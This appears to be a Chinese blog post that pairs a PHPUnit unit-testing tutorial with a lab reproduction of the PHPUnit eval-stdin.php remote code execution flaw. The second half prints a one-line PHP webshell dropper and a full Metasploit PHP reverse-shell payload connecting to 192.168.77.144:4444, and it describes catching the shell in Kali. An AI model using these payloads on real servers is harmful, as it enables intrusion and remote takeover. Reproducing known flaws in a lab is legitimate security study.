phpunit教程,在PHP项目中怎么使用?

镜像地址 :

PHPUnit简介以及如何在项目中使用 – 多厘(https://wulicode.com/php/vendor/phpunit-at-project/index.html)

官方文档:https://phpunit.readthedocs.io/zh_CN/latest/

单元测试介绍

单元测试是分别对程序的单元(方法, 函数)进行测试,判断执行结果是否符合预期

单元测试能协助开发者什么?

1.确保单元的执行结果

2.尽早发现程序中的错误

3.修改程序, 更加有信心

PHPUnit

PHPUnit是PHP程式语言中最常见的单元测试 (unit testing) 框架,PHPUnit 是参考 xUnit 架构利用 PHP 实作出来。

安装PHPUnit

# 项目中安装

$ composer require –dev phpunit/phpunit

# 下载到本地

$ wget https://phar.phpunit.de/phpunit-9.phar

使用项目中安装可以在项目中直接运行, 无需太多配置, 将 phar 下载到非项目文件夹, 可以减少项目代码的体积, 我一般采用下载到本地, 然后多个项目公用一个 phpunit.phar, 减少项目体积, 不过需要在 IDE中增加更多配置。

配置autoload

添加下面的代码到composer.json PackageName是项目的名称,src是包含PHP class文件的文件夹地址,项目根目录下的子文件夹。

“autoload”: {

“psr-4”: {

“PackageName\\”: “src/”,

“PackageName\\Tests”: “tests/”

}

},

设置PHPUnit

在phpstorm中 Languages & Frameworks >PHP >Test Frameworks 根据不同的加载方式设置不同的配置。

PHPUnit

如果是项目额外加载, 则需要把 phpunit 所在的文件夹作为 library 加入项目, 便于代码提示 Preferences | Languages & Frameworks | PHP , 加入 phpunit 文件夹

PHPUnit1

编写PHPUnit测试

  1. 针对类 Example 的测试写在类 ExampleTest 中, ExampleTest 继承自 TestCase
  2. 对于方法的测试命名为 test* 的公用方法
  3. 在测试方法内,类似于 assertEquals() 的断言方法用来对实际值和预期值的匹配做出验证

ArrayTest 用 PHPUnit 测试数组操作

<?php

use PHPUnit\Framework\TestCase;

class ArrayTest extends TestCase

{
public function testPushAndPop()

{

$stack = [];

$this->assertCount(0, $stack);

$stack[] = ‘foo’;

$this->assertEquals(‘foo’, $stack[count($stack) – 1]);

$this->assertCount(1, $stack);

$this->assertEquals(‘foo’, array_pop($stack));

$this->assertCount(0, $stack);

}

}

在IDE中运行

  1. 点击方法名称
  2. 右键测试类
  3. 右键测试文件夹

PHPUnit2

PHPUnit断言

laravel 中除了标准的 PHPUnit 断言(assertEquals(), assertContains(), assertInstanceOf(), …更多断言请看https://phpunit.readthedocs.io/zh_CN/latest/assertions.html?highlight=assertTrue#)之外, 还存在很多允许测试 web 应用的检测项目

assertPageLoaded($uri, $message = null)

检测最近的页面是否被加载, 如果不存在 url / message 时候会报错

assertResponseOk()

是否页面相应OK

assertReponseStatus($code)

是否响应指定的code

assertViewHas($key, $value = null)

视图中是否存在指定的数据

assertViewHasAll($bindings)

视图中是否存在指定的一系列数据

assertViewMissing($key)

指定视图中是否不存在这个数据

assertRedirectedTo($uri, $with = [])

检测是否重定向到指定的uri

assertRedirectedToRoute($name, $parameters = [], $with = [])

是否客户端重定向到指定的路由

assertRedirectedToAction($name, $parameters = [], $with = [])

是否重定向到 action

assertSessionHas($key, $value = null)

session 中是否存在 key/ value

assertSessionHasAll($bindings)

session 中是否存在指定的 kv

assertSessionHasErrors($bindings = [])

session 是否存在错误

assertHasOldInput()

session 中是否存在以前的数据

示例xml文件

phpunit.xml at 9.x · laravel

https://github.com/laravel/laravel/blob/9.x/phpunit.xml

<?xml version=”1.0″ encoding=”UTF-8″?>

<phpunit xmlns:xsi=”http://www.w3.org/2001/XMLSchema-instance”

xsi:noNamespaceSchemaLocation=”./vendor/phpunit/phpunit/phpunit.xsd”

bootstrap=”vendor/autoload.php”

colors=”true”>

<testsuites>

<testsuite name=”Unit”>

<directory suffix=”Test.php”>./tests/Unit</directory>

</testsuite>

<testsuite name=”Feature”>

<directory suffix=”Test.php”>./tests/Feature</directory>

</testsuite>

</testsuites>

<coverage processUncoveredFiles=”true”>

<include>

<directory suffix=”.php”>./app</directory>

</include>

</coverage>

<php>

<env name=”APP_ENV” value=”testing”/>

<env name=”BCRYPT_ROUNDS” value=”4″/>

<env name=”CACHE_DRIVER” value=”array”/>

<!– <env name=”DB_CONNECTION” value=”sqlite”/> –>

<!– <env name=”DB_DATABASE” value=”:memory:”/> –>

<env name=”MAIL_MAILER” value=”array”/>

<env name=”QUEUE_CONNECTION” value=”sync”/>

<env name=”SESSION_DRIVER” value=”array”/>

<env name=”TELESCOPE_ENABLED” value=”false”/>

</php>

</phpunit>

Php 的单元覆盖率

安装 xdebug / Phpunit

# 安装 xdebug

$ pecl install xdebug

启用 xdebug

# php.ini 文件

xdebug.mode = coverage

PHPUnit3

PHPUnit4

phpunit远程代码执行漏洞

漏洞概述:

PHPUnit 是 PHP 程式语言中最常见的单元测试 (unit testing) 框架,通常phpunit使用composer非常流行的PHP依赖管理器进行部署,将会在当前目录创建一个vendor文件夹.phpunit生产环境中仍然安装了它,如果该编写器模块存在于Web可访问目录,则存在远程代码执行漏洞。

漏洞版本:

4.8.19 ~ 4.8.27

5.0.10 ~ 5.6.2

基本原理:

漏洞位于/phpunit/src/Util/PHP/eval-stdin.php。
eval(’?>’.file_get_contents(‘php://input’));

漏洞复现:

总体来说就是向vendor/phpunit/src/Util/PHP/eval-stdin.php发送POST请求执行php代码。

例如直接执行phpinfo

phpunitloudong

用die()函数回显md5值

phpunitloudong1

也可以直接写入一句话木马。<?=file_put_contents(“1.php”, ‘<?=eval($_REQUEST[1]);?>’);

phpunitloudong2

但是第一次显示没有权限

phpunitloudong3

给WEB目录赋予权限之后可以上传

phpunitloudong4

菜刀访问第一次路径写错了提示404,第二次提示200但是报错,网上说可能是linux和Windows编码不兼容,或是PHP版本问题,目前还没解决。

phpunitloudong5

在浏览器访问webshell地址,访问不到

phpunitloudong6

第二次用msf生成PHP木马,查看木马的内容

/*<?php /**/ error_reporting(0); $ip = ‘192.168.77.144’; $port = 4444; if (($f = ‘stream_socket_client’) && is_callable($f)) { $s = $f(“tcp://{$ip}:{$port}”); $s_type = ‘stream’; } if (!$s && ($f = ‘fsockopen’) && is_callable($f)) { $s = $f($ip, $port); $s_type = ‘stream’; } if (!$s && ($f = ‘socket_create’) && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = ‘socket’; } if (!$s_type) { die(‘no socket funcs’); } if (!$s) { die(‘no socket’); } switch ($s_type) { case ‘stream’: $len = fread($s, 4); break; case ‘socket’: $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack(“Nlen”, $len); $len = $a[‘len’]; $b = ”; while (strlen($b) < $len) { switch ($s_type) { case ‘stream’: $b .= fread($s, $len-strlen($b)); break; case ‘socket’: $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS[‘msgsock’] = $s; $GLOBALS[‘msgsock_type’] = $s_type; if (extension_loaded(‘suhosin’) && ini_get(‘suhosin.executor.disable_eval’)) { $suhosin_bypass=create_function(”, $b); $suhosin_bypass(); } else { eval($b); } die();

phpunitloudong7

用之前的方法将木马的内容粘贴到XX的位置:

<?=file_put_contents(“1.php”, ‘XX’); ![](https://img-blog.csdnimg.cn/20210421185205472.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzcxODY4OA==,size_16,color_FFFFFF,t_70) 然后发包,可以看到下图回显 ![](https://img-blog.csdnimg.cn/20210421185214637.png) 在kali机里面监听获取shell ![](https://img-blog.csdnimg.cn/20210421185222775.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzcxODY4OA==,size_16,color_FFFFFF,t_70)

本文来自投稿,不代表(钦钦技术栈)立场,如若转载,请注明出处:https://www.qin1qin.com/catagory/488/

(0)
上一篇 2022年 6月 26日 6:35:15
下一篇 2022年 6月 26日 7:58:43

软件定制开发公司

相关阅读

发表回复

登录后才能评论
通知:禁止投稿所有关于虚拟货币,币圈类相关文章,发现立即永久封锁账户ID!